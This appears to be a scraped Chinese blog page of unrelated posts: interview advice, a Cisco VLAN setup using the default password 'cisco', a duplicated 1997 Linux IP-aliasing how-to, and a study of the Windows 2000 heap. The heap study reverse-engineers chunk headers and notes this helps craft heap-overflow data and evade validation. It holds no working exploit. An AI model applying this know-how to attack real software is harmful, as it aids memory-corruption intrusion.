究竟该问什么?主要问以下内容:问面试官应该了解但在简历和笔试以及在3分钟陈述中一直没有叙述出来的问题;问应聘者在陈述中和简历中自相矛盾的地方;问应聘者陈述的事实以及简历中反映出来的内容与应聘职位不相宜的地方。总之,就应聘者自身矛盾来问问题,看应聘者如何回答。
如何发问呢?问话的语气方式也要因人而异,对性格直爽开朗的应聘者可以问得节奏快一些、直接一些,对内向的人可以适当委婉一些,但无论如何都不要攻击应聘者和伤害应聘者或者以教训的口吻对待应聘者。不论怎么问,问题要柔中带刚,曲中显直。只有问到关节上,问到矛盾处,才能起到面试的效果。因为一是补充需要了解的关键信息,二是就矛盾问题的回答看应聘者的应变能力和答辩能力,以及能力以外的诸如诚信问题和问题后面的问题。
〖四答:谁答?答什么?怎么答?〗
当应聘者被面试官点到痛处时,回答才是关键,俗话讲:只有高水平的问,才可能有高水平的答。面试到这一步才真正进入了高潮。应聘者处理矛盾的水平高低和有无艺术魅力,全在这简短的回答之中。而且双方正面的交锋才真正开始。如果应聘者回答问题清楚,可以接着问下一个问题;如果问题有破绽可以就破绽继续追问;如果应聘者被问得局促不安,或满头大汗,说明应聘者在此问题上可能有问题,或有难言之隐。作为面试官可以对此问题罢休,不要穷追不舍,适当换一个轻松的话题给应聘者一个台阶下,记住此时双方是平等的,是相互选择的,面试官不是法官,也不要做法官,只要知道问题就行了。
在实际问答中,应聘者在回答面试官的问题后也会主动反问面试官,而应聘者问的问题一般都是关系到所应聘职位的薪水、待遇、休假方式以及作息时间、业务程序,或者岗位之间的关系以及公司背景和竞争对手的竞争性等等。面对应聘者的反问,作为面试官应该正面实事求是地回答,但不排除回答的艺术性。
面试官和应聘者相互之间的问答,总体时间掌握在4分钟之内。
综上,面试一位应聘者的总计时间是10分钟。时间太少了,面试不出效果来;时间太长了,不仅是加大了面试成本,而且反而会降低面试效果。当然,对明显不相宜的应聘者,可以在短短5分钟之内结束面试,但要客气礼貌地结束面试。
〖面试玄机一:待遇应早申明〗
应聘者第一关注的是招聘职位的待遇,第二是自己能不能胜任该职位工作,第三才是岗位要求,自己适合不适合。然而,许多招聘单位往往不说前两项,只提职位要求,这是严重的自我中心主义者的反映。关于职位的薪水待遇等常规问题,面试官最好应该在前3分钟内告诉应聘者,或者在第一轮的面试中甚至在招聘广告中尽早告诉应聘者,免得应聘者不好意思追问而绕来绕去。这不是俗,这是对应聘者负责,也是对自己负责。
〖面试玄机二:吹牛大王不能要〗
有经验的面试官一般不会问应聘者:“谈谈你如何干好这项工作?”“你能完成多少销售额?”如果有面试官这样问,只有两种可能:要么面试官没有经验,属于根本不懂人力资源工作的那一类;要么是另有企图,希望通过你谈谈思路,谈谈你对工作的看法,他好集思广益;甚至有的面试官让你在3天之内拿出一套方案,其实他让很多应聘者拿方案,其目的在于窃取应聘者的智慧,而不在于招到什么样的人才。对于这样的招聘单位和面试官,应聘者应提高警惕。
话要两头说,作为真想招贤纳士企业的面试官来说,如果遇到一位应聘者与你吹牛,夸海口,有多少种能力,有多少的资源关系,能完成多少销售任务等,只有一个办法: “千万拒之门外”。因为,这样的应聘者有两种人:一是骗子,二是疯子。这两种人是对企业破坏性很强的人,千万不能要。试想,外来一个和尚,对企业的内部信息根本不了解,随便念一个经,就能把企业做到什么程度,他不是疯子或者骗子又是什么呢?
那么如何判断一个人的实际操作能力呢?很简单,看他做过什么、做成过什么、怎么做成的。做过什么是经验,做成什么是能力,怎么做成的是思维方法。有此足矣!而这些都可以通过简历和面试中以及调查中得到印证,而不是听他说将来能干成什么。因为,本题讨论的是招聘关键岗位员工,是管理和领导岗位员工,是担当重任的核心骨干员工,而不是一般员工,也不是需要培养开发的新进大学生。
〖面试玄机三:不可录取“最好的” 〗
面试后共有10位合格者需要录取4位,该录取谁呢?傻子都会知道答案:录取前四名。而实际操作经验是:最好前两名不要录取,要录取排在三名以后的,为什么?
第一,因为好的都在抢,社会上的用人单位不是你一家,当你把排在前面的两位录取到企业后,企业对他有个试用期。企业往往单方面想我在试用你,我在考验你,而事实上忽略了一点:应聘者也在试用企业。而试用期内双方的机会成本都不高,谁都可以炒对方的鱿鱼,不仅是企业炒员工。
第二,优秀的人永远会有很多机会等着,不仅你看上了他,而且其它企业也会看上他,他在试用期内会骑着马找马,会有许多机会向他招手,他随时会离你而去,而你怎么办?你想起排在中间的那几位,结果那几位此时刚好找到了工作上班了,这样对企业来讲是竹篮打水一场空。
第三,排在前几位的人加盟到企业工作不久,又很快萌生了去意。为什么?因为他们很快陆续发现企业很多的负面东西,没有进来之前,看到的听到的尽是好的一面,负面的内容很少知道。等被录用进来后就不一样了,看到的接触到的完全是实实在在的真相,如果再碰上那么一两位欺生的或者嫉贤妒能的“鸟人”就更难以忍受,如果此时外面有机会他自然很快会离开。
ciso switch
switch:en
password:cisco
switch#sh vlan<-------------查看VLAN配置情况
switch#vlan database<--------进入VLAN配置模式
switch(vlan)#?查看所有配置VLAN的配置命令。
switch(vlan)#vlan ?<----查看相关配置VLAN的配置。
switch(vlan)#vlan 输入一个数字,并确认你所添加的VLAN。比如这里是你划分
的第10个VLAN,你可以输入“10”看下边例子:
switch(vlan)#vlan 10<--------划分的第10个VLAN。
switch(vlan)#exit<-------------退出配置VLAN模式,退出后该VLAN自动生
效。
然后把相关接口划分到VLAN10里边。
switch#conf t《-----------进入配置模式。
switch(config)#int f0/1 <-----------进入你叫唤机的第一个接口。
switch(config-if)#switchprot ?《------------查看配置模型,
一般常用的都是access类型。
switch(config-if)#switchprot access vlan 10<---------------把接口
1配置给VLAN10了。
switch(config-if)#exit<-----------退出该接口配置
switch#sh vlan《--------------查看你的配置情况,一般情况下
你就可以看到刚才划分的VLAN10了。
switch#copy run start <-----------------------保存你的设置到NVROM里
边去。
switch#reload<-----------------重新启动你的叫唤机吧。。。。
password:cisco
switch#sh vlan<-------------查看VLAN配置情况
switch#vlan database<--------进入VLAN配置模式
switch(vlan)#?查看所有配置VLAN的配置命令。
switch(vlan)#vlan ?<----查看相关配置VLAN的配置。
switch(vlan)#vlan 输入一个数字,并确认你所添加的VLAN。比如这里是你划分
的第10个VLAN,你可以输入“10”看下边例子:
switch(vlan)#vlan 10<--------划分的第10个VLAN。
switch(vlan)#exit<-------------退出配置VLAN模式,退出后该VLAN自动生
效。
然后把相关接口划分到VLAN10里边。
switch#conf t《-----------进入配置模式。
switch(config)#int f0/1 <-----------进入你叫唤机的第一个接口。
switch(config-if)#switchprot ?《------------查看配置模型,
一般常用的都是access类型。
switch(config-if)#switchprot access vlan 10<---------------把接口
1配置给VLAN10了。
switch(config-if)#exit<-----------退出该接口配置
switch#sh vlan《--------------查看你的配置情况,一般情况下
你就可以看到刚才划分的VLAN10了。
switch#copy run start <-----------------------保存你的设置到NVROM里
边去。
switch#reload<-----------------重新启动你的叫唤机吧。。。。
linux ip alias
linux ip alias
以前一直没需要高这个东西
今天又这个需要了
97年的文章了
现在直接ifconfig eth0:0 ip就是勒
更多...
http://pachome1.pacific.net.sg/~harish/linuxipalias.html
This page was last updated January 13th 1997.
Mini How-to on Setting Up IP Aliasing On A Linux Machine
GNU Copyleft 1996/1997 Harish Pillay (h.pillay@ieee.org)
Primary site: http://home.pacific.net.sg/~harish/linuxipalias.html
Synopsis:
This is a cook book recipe on how to set up and run IP aliasing on a Linux box. In addition, there are instructions on how to also set up the machine to receive e-mail on the aliased IP #s.
My setup:
Latest kernel (2.0.27 - from ftp.funet.fi:/pub/Linux/kernel/src/v2.0) - has worked since 1.3.7x.
IP Alias compiled as a loadable module. You would have indicated in the "make config" command to make your kernel, that you want the IP Masq to be compiled as a (M)odule. Check the Modules HOW-TO (if that exists) or check the info in /usr/src/linux/Documentation/modules.txt.
I have to support 2 additional IPs over and above the IP already allocated to me.
A D-Link DE620 pocket adapter (not important, works with any Linux supported network adapter).
Commands:
First load the IP Alias module (you can skip this step if you compiled the module into the kernel):
/sbin/insmod /lib/modules/`uname -r`/ipv4/ip_alias.o
Second, setup the loopback, eth0 and all the IP #s beginning with the main IP # for the eth0 interface:
/sbin/ifconfig lo 127.0.0.1
/sbin/ifconfig eth0 up
/sbin/ifconfig eth0 172.16.3.1
/sbin/ifconfig eth0:0 172.16.3.10
/sbin/ifconfig eth0:1 172.16.3.100
172.16.3.1 is the main IP #, while .10 and .100 are the aliases. The magic is the eth0:x where x=0,1,2,...n for the different IP #s. The main IP # does not need to be aliased.
Third, setup the routes. First route the loopback, then the net and, finally, the various IP #s starting with the default (originally allocated) one:
/sbin/route add -net 127.0.0.0
/sbin/route add -net 172.16.3.0 dev eth0
/sbin/route add -host 172.16.3.1 dev eth0
/sbin/route add -host 172.16.3.10 dev eth0:0
/sbin/route add -host 172.16.3.100 dev eth0:1
/sbin/route add default gw 172.16.3.200
That's it.
In the example IP # above, I am using the Private IP #s (RFC 1918) for illustrative purposes. Substitute them with your own official or private IP #s.
The example shows only 3 IP #s. The max is defined to be 256 in /usr/include/linux/net_alias.h. 256 IP #s on ONE card is a lot :-)!
Here's what my /sbin/ifconfig looks like:
lo Link encap:Local Loopback
inet addr:127.0.0.1 Bcast:127.255.255.255 Mask:255.0.0.0
UP BROADCAST LOOPBACK RUNNING MTU:3584 Metric:1
RX packets:5088 errors:0 dropped:0 overruns:0
TX packets:5088 errors:0 dropped:0 overruns:0
eth0 Link encap:10Mbps Ethernet HWaddr 00:8E:B8:83:19:20
inet addr:172.16.3.1 Bcast:172.16.3.255 Mask:255.255.255.0
UP BROADCAST RUNNING PROMISC MULTICAST MTU:1500 Metric:1
RX packets:334036 errors:0 dropped:0 overruns:0
TX packets:11605 errors:0 dropped:0 overruns:0
Interrupt:7 Base address:0x378
eth0:0 Link encap:10Mbps Ethernet HWaddr 00:8E:B8:83:19:20
inet addr:172.16.3.10 Bcast:172.16.3.255 Mask:255.255.255.0
UP BROADCAST RUNNING MTU:1500 Metric:1
RX packets:0 errors:0 dropped:0 overruns:0
TX packets:0 errors:0 dropped:0 overruns:0
eth0:1 Link encap:10Mbps Ethernet HWaddr 00:8E:B8:83:19:20
inet addr:172.16.3.100 Bcast:172.16.3.255 Mask:255.255.255.0
UP BROADCAST RUNNING MTU:1500 Metric:1
RX packets:1 errors:0 dropped:0 overruns:0
TX packets:0 errors:0 dropped:0 overruns:0
And /proc/net/aliases:
device family address
eth0:0 2 172.16.3.10
eth0:1 2 172.16.3.100
And /proc/net/alias_types:
type name n_attach
2 ip 2
Of course, the stuff in /proc/net was created by the ifconfig command and not by hand!
Question: How can I keep the settings through a reboot?
Answer: Whether you are using BSD-style or SysV-style (Redhat for example) init, you can always include it in /etc/rc.d/rc.local. Here's what I have on my SysV init system (Redhat 3.0.3 and 4.0):
My /etc/rc.d/rc.local: (edited to show the relevant portions)
#setting up IP alias interfaces
echo "Setting 172.16.3.1, 172.16.3.10, 172.16.3.100 IP Aliases ..."
/sbin/ifconfig lo 127.0.0.1
/sbin/ifconfig eth0 up
/sbin/ifconfig eth0 172.16.3.1
/sbin/ifconfig eth0:0 172.16.3.10
/sbin/ifconfig eth0:1 172.16.3.100
#setting up the routes
echo "Setting IP routes ..."
/sbin/route add -net 127.0.0.0
/sbin/route add -net 172.16.3.0 dev eth0
/sbin/route add -host 172.16.3.1 eth0
/sbin/route add -host 172.16.3.10 eth0:0
/sbin/route add -host 172.16.3.100 eth0:1
/sbin/route add default gw 172.16.3.200
#
Question: How do I set up the IP aliased machine to receive e-mail on the various aliased IP #s (on a machine using sendmail)?
Answer: Create (if not already existing) a file called for example, /etc/mynames.cw. It does not have to be this exact name nor in the /etc directory.
In that file, place the official domain names of the aliased IP #s. If these aliased IP #s do not have a domain name, then you can place the IP # itself.
/etc/mynames.cw:
----------------
# /etc/mynames.cw - include all aliases for your machine here; # is a comment.
domain.one.net
domain.two.com
domain.three.org
4.5.6.7
In your sendmail.cf file, where it defines a file class macro Fw, add the following:
.
.
.
##################
# local info #
##################
.
.
# file containing names of hosts for which we receive email
Fw/etc/mynames.cw
.
.
.
That should do it. Test out the new setting by invoking sendmail in test mode for example:
ganymede$ /usr/lib/sendmail -bt
ADDRESS TEST MODE (ruleset 3 NOT automatically invoked)
Enter < ruleset> < address>
> 0 me@4.5.6.7
rewrite: ruleset 0 input: me @ 4 . 5 . 6 . 7
rewrite: ruleset 98 input: me @ 4 . 5 . 6 . 7
rewrite: ruleset 98 returns: me @ 4 . 5 . 6 . 7
rewrite: ruleset 97 input: me @ 4 . 5 . 6 . 7
rewrite: ruleset 3 input: me @ 4 . 5 . 6 . 7
rewrite: ruleset 96 input: me < @ 4 . 5 . 6 . 7 >
rewrite: ruleset 96 returns: me < @ 4 . 5 . 6 . 7 . >
rewrite: ruleset 3 returns: me < @ 4 . 5 . 6 . 7 . >
rewrite: ruleset 0 input: me < @ 4 . 5 . 6 . 7 . >
rewrite: ruleset 98 input: me < @ 4 . 5 . 6 . 7 . >
rewrite: ruleset 98 returns: me < @ 4 . 5 . 6 . 7 . >
rewrite: ruleset 0 returns: $# local $: me
rewrite: ruleset 97 returns: $# local $: me
rewrite: ruleset 0 returns: $# local $: me
> 0 me@4.5.6.8
rewrite: ruleset 0 input: me @ 4 . 5 . 6 . 8
rewrite: ruleset 98 input: me @ 4 . 5 . 6 . 8
rewrite: ruleset 98 returns: me @ 4 . 5 . 6 . 8
rewrite: ruleset 97 input: me @ 4 . 5 . 6 . 8
rewrite: ruleset 3 input: me @ 4 . 5 . 6 . 8
rewrite: ruleset 96 input: me < @ 4 . 5 . 6 . 8 >
rewrite: ruleset 96 returns: me < @ 4 . 5 . 6 . 8 >
rewrite: ruleset 3 returns: me < @ 4 . 5 . 6 . 8 >
rewrite: ruleset 0 input: me < @ 4 . 5 . 6 . 8 >
rewrite: ruleset 98 input: me < @ 4 . 5 . 6 . 8 >
rewrite: ruleset 98 returns: me < @ 4 . 5 . 6 . 8 >
rewrite: ruleset 95 input: < > me < @ 4 . 5 . 6 . 8 >
rewrite: ruleset 95 returns: me < @ 4 . 5 . 6 . 8 >
rewrite: ruleset 0 returns: $# smtp $@ 4 . 5 . 6 . 8 $: me < @ 4 . 5 . 6 . 8 >
rewrite: ruleset 97 returns: $# smtp $@ 4 . 5 . 6 . 8 $: me < @ 4 . 5 . 6 . 8 >
rewrite: ruleset 0 returns: $# smtp $@ 4 . 5 . 6 . 8 $: me < @ 4 . 5 . 6 . 8 >
>
Notice when I tested me@4.5.6.7, it delivered the mail to the local machine, while me@4.5.6.8 was to be handed off to the smtp mailer. That is the correct response.
You are all set now.
Hope the preceding is useful to someone.
Thanks to all those who have done this great work on Linux and IP Aliasing. And especially to Juan Jose Ciarlante for clarifying my questions.
Kudos to the ace programmers!
If you do find this document useful or have suggestions on improvements, do send me an e-mail at h.pillay@ieee.org.
Enjoy.
--------------------------------------------------------------------------------
Questions?
Go back to Harish's Home Page
以前一直没需要高这个东西
今天又这个需要了
97年的文章了
现在直接ifconfig eth0:0 ip就是勒
更多...
http://pachome1.pacific.net.sg/~harish/linuxipalias.html
This page was last updated January 13th 1997.
Mini How-to on Setting Up IP Aliasing On A Linux Machine
GNU Copyleft 1996/1997 Harish Pillay (h.pillay@ieee.org)
Primary site: http://home.pacific.net.sg/~harish/linuxipalias.html
Synopsis:
This is a cook book recipe on how to set up and run IP aliasing on a Linux box. In addition, there are instructions on how to also set up the machine to receive e-mail on the aliased IP #s.
My setup:
Latest kernel (2.0.27 - from ftp.funet.fi:/pub/Linux/kernel/src/v2.0) - has worked since 1.3.7x.
IP Alias compiled as a loadable module. You would have indicated in the "make config" command to make your kernel, that you want the IP Masq to be compiled as a (M)odule. Check the Modules HOW-TO (if that exists) or check the info in /usr/src/linux/Documentation/modules.txt.
I have to support 2 additional IPs over and above the IP already allocated to me.
A D-Link DE620 pocket adapter (not important, works with any Linux supported network adapter).
Commands:
First load the IP Alias module (you can skip this step if you compiled the module into the kernel):
/sbin/insmod /lib/modules/`uname -r`/ipv4/ip_alias.o
Second, setup the loopback, eth0 and all the IP #s beginning with the main IP # for the eth0 interface:
/sbin/ifconfig lo 127.0.0.1
/sbin/ifconfig eth0 up
/sbin/ifconfig eth0 172.16.3.1
/sbin/ifconfig eth0:0 172.16.3.10
/sbin/ifconfig eth0:1 172.16.3.100
172.16.3.1 is the main IP #, while .10 and .100 are the aliases. The magic is the eth0:x where x=0,1,2,...n for the different IP #s. The main IP # does not need to be aliased.
Third, setup the routes. First route the loopback, then the net and, finally, the various IP #s starting with the default (originally allocated) one:
/sbin/route add -net 127.0.0.0
/sbin/route add -net 172.16.3.0 dev eth0
/sbin/route add -host 172.16.3.1 dev eth0
/sbin/route add -host 172.16.3.10 dev eth0:0
/sbin/route add -host 172.16.3.100 dev eth0:1
/sbin/route add default gw 172.16.3.200
That's it.
In the example IP # above, I am using the Private IP #s (RFC 1918) for illustrative purposes. Substitute them with your own official or private IP #s.
The example shows only 3 IP #s. The max is defined to be 256 in /usr/include/linux/net_alias.h. 256 IP #s on ONE card is a lot :-)!
Here's what my /sbin/ifconfig looks like:
lo Link encap:Local Loopback
inet addr:127.0.0.1 Bcast:127.255.255.255 Mask:255.0.0.0
UP BROADCAST LOOPBACK RUNNING MTU:3584 Metric:1
RX packets:5088 errors:0 dropped:0 overruns:0
TX packets:5088 errors:0 dropped:0 overruns:0
eth0 Link encap:10Mbps Ethernet HWaddr 00:8E:B8:83:19:20
inet addr:172.16.3.1 Bcast:172.16.3.255 Mask:255.255.255.0
UP BROADCAST RUNNING PROMISC MULTICAST MTU:1500 Metric:1
RX packets:334036 errors:0 dropped:0 overruns:0
TX packets:11605 errors:0 dropped:0 overruns:0
Interrupt:7 Base address:0x378
eth0:0 Link encap:10Mbps Ethernet HWaddr 00:8E:B8:83:19:20
inet addr:172.16.3.10 Bcast:172.16.3.255 Mask:255.255.255.0
UP BROADCAST RUNNING MTU:1500 Metric:1
RX packets:0 errors:0 dropped:0 overruns:0
TX packets:0 errors:0 dropped:0 overruns:0
eth0:1 Link encap:10Mbps Ethernet HWaddr 00:8E:B8:83:19:20
inet addr:172.16.3.100 Bcast:172.16.3.255 Mask:255.255.255.0
UP BROADCAST RUNNING MTU:1500 Metric:1
RX packets:1 errors:0 dropped:0 overruns:0
TX packets:0 errors:0 dropped:0 overruns:0
And /proc/net/aliases:
device family address
eth0:0 2 172.16.3.10
eth0:1 2 172.16.3.100
And /proc/net/alias_types:
type name n_attach
2 ip 2
Of course, the stuff in /proc/net was created by the ifconfig command and not by hand!
Question: How can I keep the settings through a reboot?
Answer: Whether you are using BSD-style or SysV-style (Redhat for example) init, you can always include it in /etc/rc.d/rc.local. Here's what I have on my SysV init system (Redhat 3.0.3 and 4.0):
My /etc/rc.d/rc.local: (edited to show the relevant portions)
#setting up IP alias interfaces
echo "Setting 172.16.3.1, 172.16.3.10, 172.16.3.100 IP Aliases ..."
/sbin/ifconfig lo 127.0.0.1
/sbin/ifconfig eth0 up
/sbin/ifconfig eth0 172.16.3.1
/sbin/ifconfig eth0:0 172.16.3.10
/sbin/ifconfig eth0:1 172.16.3.100
#setting up the routes
echo "Setting IP routes ..."
/sbin/route add -net 127.0.0.0
/sbin/route add -net 172.16.3.0 dev eth0
/sbin/route add -host 172.16.3.1 eth0
/sbin/route add -host 172.16.3.10 eth0:0
/sbin/route add -host 172.16.3.100 eth0:1
/sbin/route add default gw 172.16.3.200
#
Question: How do I set up the IP aliased machine to receive e-mail on the various aliased IP #s (on a machine using sendmail)?
Answer: Create (if not already existing) a file called for example, /etc/mynames.cw. It does not have to be this exact name nor in the /etc directory.
In that file, place the official domain names of the aliased IP #s. If these aliased IP #s do not have a domain name, then you can place the IP # itself.
/etc/mynames.cw:
----------------
# /etc/mynames.cw - include all aliases for your machine here; # is a comment.
domain.one.net
domain.two.com
domain.three.org
4.5.6.7
In your sendmail.cf file, where it defines a file class macro Fw, add the following:
.
.
.
##################
# local info #
##################
.
.
# file containing names of hosts for which we receive email
Fw/etc/mynames.cw
.
.
.
That should do it. Test out the new setting by invoking sendmail in test mode for example:
ganymede$ /usr/lib/sendmail -bt
ADDRESS TEST MODE (ruleset 3 NOT automatically invoked)
Enter < ruleset> < address>
> 0 me@4.5.6.7
rewrite: ruleset 0 input: me @ 4 . 5 . 6 . 7
rewrite: ruleset 98 input: me @ 4 . 5 . 6 . 7
rewrite: ruleset 98 returns: me @ 4 . 5 . 6 . 7
rewrite: ruleset 97 input: me @ 4 . 5 . 6 . 7
rewrite: ruleset 3 input: me @ 4 . 5 . 6 . 7
rewrite: ruleset 96 input: me < @ 4 . 5 . 6 . 7 >
rewrite: ruleset 96 returns: me < @ 4 . 5 . 6 . 7 . >
rewrite: ruleset 3 returns: me < @ 4 . 5 . 6 . 7 . >
rewrite: ruleset 0 input: me < @ 4 . 5 . 6 . 7 . >
rewrite: ruleset 98 input: me < @ 4 . 5 . 6 . 7 . >
rewrite: ruleset 98 returns: me < @ 4 . 5 . 6 . 7 . >
rewrite: ruleset 0 returns: $# local $: me
rewrite: ruleset 97 returns: $# local $: me
rewrite: ruleset 0 returns: $# local $: me
> 0 me@4.5.6.8
rewrite: ruleset 0 input: me @ 4 . 5 . 6 . 8
rewrite: ruleset 98 input: me @ 4 . 5 . 6 . 8
rewrite: ruleset 98 returns: me @ 4 . 5 . 6 . 8
rewrite: ruleset 97 input: me @ 4 . 5 . 6 . 8
rewrite: ruleset 3 input: me @ 4 . 5 . 6 . 8
rewrite: ruleset 96 input: me < @ 4 . 5 . 6 . 8 >
rewrite: ruleset 96 returns: me < @ 4 . 5 . 6 . 8 >
rewrite: ruleset 3 returns: me < @ 4 . 5 . 6 . 8 >
rewrite: ruleset 0 input: me < @ 4 . 5 . 6 . 8 >
rewrite: ruleset 98 input: me < @ 4 . 5 . 6 . 8 >
rewrite: ruleset 98 returns: me < @ 4 . 5 . 6 . 8 >
rewrite: ruleset 95 input: < > me < @ 4 . 5 . 6 . 8 >
rewrite: ruleset 95 returns: me < @ 4 . 5 . 6 . 8 >
rewrite: ruleset 0 returns: $# smtp $@ 4 . 5 . 6 . 8 $: me < @ 4 . 5 . 6 . 8 >
rewrite: ruleset 97 returns: $# smtp $@ 4 . 5 . 6 . 8 $: me < @ 4 . 5 . 6 . 8 >
rewrite: ruleset 0 returns: $# smtp $@ 4 . 5 . 6 . 8 $: me < @ 4 . 5 . 6 . 8 >
>
Notice when I tested me@4.5.6.7, it delivered the mail to the local machine, while me@4.5.6.8 was to be handed off to the smtp mailer. That is the correct response.
You are all set now.
Hope the preceding is useful to someone.
Thanks to all those who have done this great work on Linux and IP Aliasing. And especially to Juan Jose Ciarlante for clarifying my questions.
Kudos to the ace programmers!
If you do find this document useful or have suggestions on improvements, do send me an e-mail at h.pillay@ieee.org.
Enjoy.
--------------------------------------------------------------------------------
Questions?
Go back to Harish's Home Page
星期日, 五月 16, 2004
Win2K SP4堆研究
Win2K SP4堆研究
Written: Hume/冷雨
Email: humewen@21cn.com
QQ: 8709369
恰逢冲击波病毒肆虐,因此拜读了ISNO、ISLY、yuange、flashsky等高人关于堆溢出的文章,佩服之至。闲暇之余,亦对堆溢出产生了浓厚的兴趣,就是想知道为什么会这样以及Windows是如何控制堆对象的,这在上述的文章中均没有详细述及。简而言之,就是想搞懂Windows的堆管理器。这个问题实在是烦琐,因为我看不到Windows的源代码,只好反汇编之。要全部看懂这些代码要花不少时间,而最近上头逼的又紧,所以只能看懂多少算多少了,反正丑媳妇不怕见公婆吗。以前没怎么接触过安全方面的东西,一些幼稚的想法和推断,也列在其中,敬请指正。
堆的分配算法等细节随不同操作系统版本是有变化的,本文基于Windows 2000 PRO SP4版本。
1、Win32堆的价值
Win32堆(heap)是Windows负责为用户程序维护分配、校验、释放等细节的一块区域,可以将作为一个分配器(allocator)对象来对待。Win32堆是基于虚拟内存管理器的,分配和提交内存等都依赖于虚拟内存管理器,高级语言中也有其各自的堆管理,一般这些堆管理是基于Win32堆的。比如下面的流程:
应用程序-->C运行时堆
|
|
^
Win32堆管理
|
|
^
NT运行时库函数(NTDLL.DLL)--->windows虚拟内存管理器
事实上,win32环境子系统的堆管理函数大部分是对NTDLL.DLL中相关函数的直接向前(forward)引用。那么问题是我们为什么不直接调用虚拟内存函数自己来管理内存呢?我们自己绝对可以这样干,但要付出的代价肯定也是巨大的:
1.如何处理多线程访问内存的同步;
2.如何在需要多块、频繁的内存时释放、分配时减少内存碎片并保证内存分配和使用的效率;
3......
重新发明一个轮子是可行的,不过我们完全没有必要这样做,不仅是因为我们懒惰,更是为了配合软件工程学的一些基本原则。于是,各种高级语言编译器中都采用了堆管理,很多for Win编译器都封装了Win32堆函数,我们也就开始使用摆在那里的好用的堆函数。
2.Windows的堆管理
堆管理器采用的分配算法在不同的Win版本上是不同的,微软也一直在拿广大用户的计算机做试验,试图在效率和资源占用两方面取得一个合理的折衷。堆的管理和回收是个很大的主题,在网上这样的多如牛毛。在关于堆溢出的文章中我看到的有几点:一是分配内存块的管理结构,一是堆分配和释放的链表管理,但都没有详细说明。本文试图进行一点详细说明,以便能够吃到鱼,还能知道为什么能吃到鱼。
在NTDLL中windows为堆管理提供了两套API,一套是用于正常管理分配的,一套是用于调试的。堆调试API为探测堆溢出、验证堆的有效性等提供了便利。在使用某些ring3调试器调试的时候,Windows会创建调试堆,因此要对正常的堆分配进行跟踪,最好使用ring0调试器(如SICE)。对于堆调试API,不作分析。下面的说明及分析均基于正常的堆分配。
3.堆的细节
创建进程时会创建一个默认堆,可以使用GetProcessHeap获取,这个函数很简单,下面是伪码:
//
//lc:KERNLE32.DLL 获取进程默认堆的句柄,从PEB中取得进程默认堆句柄
//
HANDLE GetProcessHeap(VOID)
{
PPEB pPeb;
__asm
{
mov eax,fs:[0x18] //pTeb linear addr
mov eax,[eax+0x30] //pPeb
mov pPeb,eax
}
return pPeb->ProcessHeap; //*(pPeb+0x18)
}
RtlGetProcessHeaps是类似的,以下是伪码:
DWORD RtlGetProcessHeaps(
DWORD NumberOfHeaps, // maximum number of heap handles
PHANDLE ProcessHeaps // buffer for heap handles
){
__try{
PPEB pPeb;
DWORD NumEnum;
__asm{
mov eax,fs:[18]
mov eax,[eax+30]
mov pPeb,eax //get PEB pointer
}
RtlEnterCriticalSection(&_RtlpProcessHeapsListLock);
NumEnum=NumberOfHeaps;
if (NumberOfHeaps>pPeb->NumberOfHeaps)
{
NumEnum=pPeb->NumberOfHeaps;
}
memmov(ProcessHeaps,pPeb->ProcessHeapsList,NumEnum);
RtlLeaveCriticalSection(&_RtlpProcessHeapsListLock);
//
//调试相关
//
if (_RtlpDebugPageHeap)
{
_RtlpDebugPageHeapGetProcessHeaps(NumberOfHeaps,ProcessHeaps);
}
}
__finally
{
RtlLeaveCriticalSection(&_RtlpProcessHeapsListLock);
}
return true;
}
堆句柄实际是指向堆头部结构的一个指针。
一些堆信息都是从PEB中获取的,堆的行为还会受到NT GLOBAL FLAG的影响,这些标志大约有8个,控制着进行堆操作时是否进行参数检查、合并相邻的空闲块等行为,具体参见MSDN的GLOBAL FLAGS refrence。
在一些堆溢出文章中提到了8个字节的管理结构,这8字节的管理结构位于分配的堆内存块的前面,整个堆大约是这样子的:
|堆的头部结构|堆管理结构|用户分配的堆块 .....|堆管理结构|用户分配的堆块|堆末尾管理结构|链表节点
这8字节的管理结构究竟是什么样的呢?经过反汇编研究,发现是这样的。
typedef struct
{
/*0x0*/ USHORT curBlockSizeDiv8;
/*0x2*/ USHORT prevBlockSizeDiv8;
/*0x4*/ UCHAR index;
/*0x5*/ UCHAR flags;
/*0x6*/ USHORT sizeMng;
} MNG_STRUCT,*PMNG_STRUCT;
curBlockSizeDiv8和prevBlockSizeDiv8分别是当前分配堆块和其紧临其前的分配堆块的大小,计算方法是堆块的实际字节数大小除以8。index是指向头结构0x58开始的大小为0x40的一个双字数组的索引,含义还不是很清楚,推测用于管理非常多的堆块的扩充,也许类似目录的作用,该值一般为0,也就是说一般只有一个表项,很显然不能大于0x40。flags是堆块的标志,为1是正常分配的堆块,为0x10表示末尾链表节点之前的堆块。sizeMng实际是
(要求分配的字节数按照8字节对齐后+8字节的管理区的大小)-要求分配的字节数
用这个值可以计算出请求分配的内存的大小。堆管理的RtlSizeHeap就是这样计算的,下面是伪码:
//location:NTDLL.DLL 获取堆块的大小 Kernel32.DLL.HeapSize->forward
DWORD RtlSizeHeap(
HANDLE hHeap, // handle to the heap
DWORD dwFlags, // heap size control flags
LPCVOID lpMem // pointer to memory to return size for
){
ULONG HeapSizeByBytes=0;
PVOID ptrHeap= (void *)hHeap;
DWORD flag1=[ptrHeap+0x10];
if (flag1&0x69020000)
{
//堆调试处理省略之
debug_do_something;
return;
}
PMNG_STRUCT pMng=(unsigned char *)lpMem-8;
BYTE flag=pMng->Flags;
if (flag2!=1)
{
invalid_param();
return;
}
return (pMng->curBlockSizeDiv8 * 8 - pMng->sizeMng);
}
对管理结构的了解有助于构造溢出数据,利用堆溢出避免在Validate等操作后检查出数据错误,甚至可以在堆溢出获取控制权后重构堆数据避免一些问题。
夜深,有时间再继续。。。。
Good.
> 这8字节的管理结构究竟是什么样的呢?经过反汇编研究,发现是这样的。
这是微软自己的定义
+0x000 Size : Uint2B
+0x002 PreviousSize : Uint2B
+0x000 SubSegment : Ptr32 to Void
+0x004 SegmentIndex : UChar
+0x005 Flags : UChar
+0x006 UnusedBytes : UChar
+0x007 SmallTagIndex : UChar
小四哥,不会是查看了Windows的源代码了吧?知道这个我就不费劲了。。。。
不过看起来象是Windbg的定义。。。。
+0x006 UnusedBytes : UChar
这个好像确实有用,不是UnusedBytes
严格说,这里只涉及到堆块管理结构的内容,要说WINDOWS下的堆的分析,还有很多内容的.我前一段时间仔细分析了一些WINDOWS的对内容,大致也写了40来页的WINDOWS堆结构的分析的东西.
